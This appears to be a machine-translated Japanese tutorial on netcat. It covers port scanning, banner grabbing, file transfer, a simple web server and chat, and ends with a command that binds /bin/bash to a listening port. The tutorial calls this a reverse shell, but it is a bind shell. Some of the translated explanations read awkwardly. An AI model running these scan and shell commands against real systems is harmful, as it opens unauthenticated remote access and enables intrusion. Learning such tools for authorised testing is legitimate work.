この記事では、人気のあるnetcatネットワークユーティリティと、それを使用する際の便利なトリックを確認します。
Netcatは、TCPおよびUDP接続の確立、そこからのデータの受信、および送信を可能にするUnixユーティリティです。 その有用性とシンプルさにもかかわらず、多くの人はそれを使用する方法を知らず、当然それをバイパスします。
このユーティリティを使用すると、侵入テスト中にいくつかの手順を実行できます。 これは、インストールされたマシンにインストールされたパッケージがない（または注意を引く）、制限がある場合（たとえば、IoT /組み込みデバイス）などに便利です。
netcatでできること：
- スキャンポート
- ポート転送
- サービスバナーを収集します。
- リッスンポート（逆接続のバインド）;
- ファイルのダウンロードとアップロード。
- 生のHTTPコンテンツを表示します。
- ミニチャットを作成します。
一般に、netcatを使用すると、unixユーティリティの一部を置き換えることができるため、このツールは特定のタスクを実行するための一種の組み合わせと考えることができます。
実用例
多くの場合、特定のホストを検証する必要がある場合、Telnetまたは独自のサービス部門を使用してホストまたはバナーを識別します。 netcatがどのように役立つか：
開いているTCPポート12345を確認します
$ nc -vn 192.168.1.100 12345
nc：192.168.1.100 12345（tcp）への接続に失敗しました：接続が拒否されました
$ nc -v 192.168.1.100 22
192.168.1.100 22ポート[tcp / ssh]への接続に成功しました！
SSH-2.0-OpenSSH
netcatを使用してTCPポートをスキャンします。
$ nc -vnz 192.168.1.100 20-24
このスキャンでは、ポートへの接続はなく、成功した接続の出力のみがあります。
nc：192.168.1.100ポート20（tcp）へのconnectxが失敗しました：接続が拒否されました
nc：192.168.1.100ポート21（tcp）へのconnectxが失敗しました：接続が拒否されました
0個の関連付けが見つかりました
1つの接続が見つかりました：
1：フラグ= 82 <接続済み、優先>
outif en0
src 192.168.1.100ポート50168
dst 192.168.1.100ポート22
ランク情報は利用できません
利用可能なTCP aux情報
192.168.1.100ポート22 [tcp / *]への接続に成功しました！
nc：192.168.1.100ポート23（tcp）へのconnectxが失敗しました：接続が拒否されました
nc：192.168.1.100ポート24（tcp）へのconnectxが失敗しました：接続が拒否されました
UDPポートをスキャンします。
nmapを使用してUDPポートをスキャンするには、ルート権限が必要です。 ない場合は、netcatユーティリティも役立ちます。
$ nc -vnzu 192.168.1.100 5550-5560
192.168.1.100ポート5555 [udp / *]への接続に成功しました！
UDPパケットの送信
$ echo -n "foo" | nc -u -w1 192.168.1.100 161
これは、ネットワークデバイスと対話するときに役立ちます。
UDPポートでデータを受信し、受信したデータを出力する
$ nc -u localhost 7777
最初のメッセージの後、出力は停止します。 複数のメッセージを受け入れる必要がある場合は、trueを使用する必要があります。
$ while true; do nc -u localhost 7777; done
ファイル転送。 netcatを使用すると、ファイルを受信するか、リモートホストに転送できます。
nc 192.168.1.100 5555 < 1.txt
nc -lvp 5555 > /tmp/1.txt
最もシンプルなWebサーバーとしてのNetcact。
Netcatは、htmlページを表示するための最も単純なWebサーバーとして機能します。
$ while true; do nc -lp 8888 < index.html; done
http：// netcat host ：8888 / index.htmlでブラウザを使用します。 80番のWebサーバーの標準ポートを使用するには、ルート権限でncを実行する必要があります。
$ while true; do sudo nc -lp 80 < test.html; done
サイト間のチャット
最初のノード（192.168.1.100）：
$ nc -lp 9000
2番目のノード：
$ nc 192.168.1.100 9000
コマンドの実行後、いずれかのノードのターミナルウィンドウに入力されたすべての文字は、別のノードのターミナルウィンドウに表示されます。
リバースシェル
netcatを使用すると、便利な逆シェルを整理できます。
nc -e /bin/bash -lp 4444
これで、リモートホストに接続できます。
$ nc 192.168.1.100 4444
あきらめてはいけません。特定のツールがなく、多くの場合非常にかさばらない場合は、即興的な手段で問題を解決できる場合があります。